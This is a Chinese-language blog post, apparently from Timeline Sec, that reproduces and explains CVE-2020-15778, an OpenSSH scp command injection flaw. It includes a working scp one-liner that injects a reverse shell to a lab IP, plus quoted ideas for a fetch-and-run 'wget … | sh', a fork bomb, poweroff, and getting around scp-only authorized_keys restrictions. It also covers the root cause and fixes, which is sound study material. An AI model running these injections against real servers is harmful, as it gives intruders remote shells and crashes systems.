前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-15778:OpenSSH命令注入漏洞复现

CVE-2020-15778:OpenSSH命令注入漏洞复现

作者头像
Timeline Sec
发布2020-10-27 16:37:16
2.9K0
发布2020-10-27 16:37:16
举报
文章被收录于专栏:Timeline Sec

作者:Menge&小泫@Timeline Sec

本文字数:1160

阅读时长:3~4min

声明:请勿用作违法用途,否则后果自负

0x01 简介

OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

0x02 漏洞概述

该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。

0x03 影响版本

openssh <= openssh-8.3p1

0x04 环境搭建

未安装ssh:

进行安装

代码语言:javascript
复制
sudo apt-get install openssh-client

已安装ssh: ssh -V 查看版本信息

0x05 漏洞复现

前提:需要知道目标ssh账号密码

目标:192.168.233.130

本机:192.168.233.140

执行命令:

代码语言:javascript
复制
scp /tmp/hello.txt xuan@192.168.233.130:'`bash -i >& /dev/tcp/192.168.233.140/9999 0>&1`'

将本地文件复制到远程机器,本来后面跟的是文件名,但是由于未正确过滤其中的特殊字符导致命令注入。

0x06 漏洞分析

在使用scp远程传输文件时,正常使用是这样的

代码语言:javascript
复制
scp SourceFile user@host:目录/TargetFile

在执行上面这条命令时会执行一个本地命令

代码语言:javascript
复制
scp -t 目录/TargetFile

对应源码如下:

源码地址:

代码语言:javascript
复制
https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

由此可以看到对用户输入的目录没有做过滤,导致攻击者可以利用反引号(` `)可以执行一些shell命令。

反引号在linux中的作用: 反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的`date -d '-1 day' +%Y%m%d`就是把这条命令的结果赋给变量OPDATE。

0x07 经验总结

下面来看看发现漏洞的作者是怎么总结的:

1、攻击者可以poweroff在文件名中放入“ ”或“ 叉子炸弹”,它会导致服务器崩溃或重新启动,这将导致DOS攻击。

2、攻击者可以使用bash绑定外壳之类的各种技巧来获取绑定/反向外壳,或执行“wget https://unknownsource.com/possfullydangerous.sh -O- | sh”之类的sh文件。

3、由于SHELL首先执行backtick命令,然后执行scp命令,因此我们可以在backtick中编写一个无限循环,这将导致套接字长时间打开。多次此类攻击将不会为新连接留下套接字,并会导致DDOS。 对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。 我翻阅了大量资料,这一篇讲authorized_keys文件说明较为详细:

代码语言:javascript
复制
https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.foto100/authkeyf.htm

在某些情况下,确实是有它的价值的,我在google(国内查不到authorized_keys的资料)上查到有人设置,authorized_keys允许SCP但不允许使用SSH实际登录,当然可能较少,在这种情况下,漏洞显得很有作用了。

0x08 修复方式

1、周期性的更换密码或密钥

2、使用rsync代替scp

代码语言:javascript
复制
参考链接:

https://github.com/cpandya2909/CVE-2020-15778/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档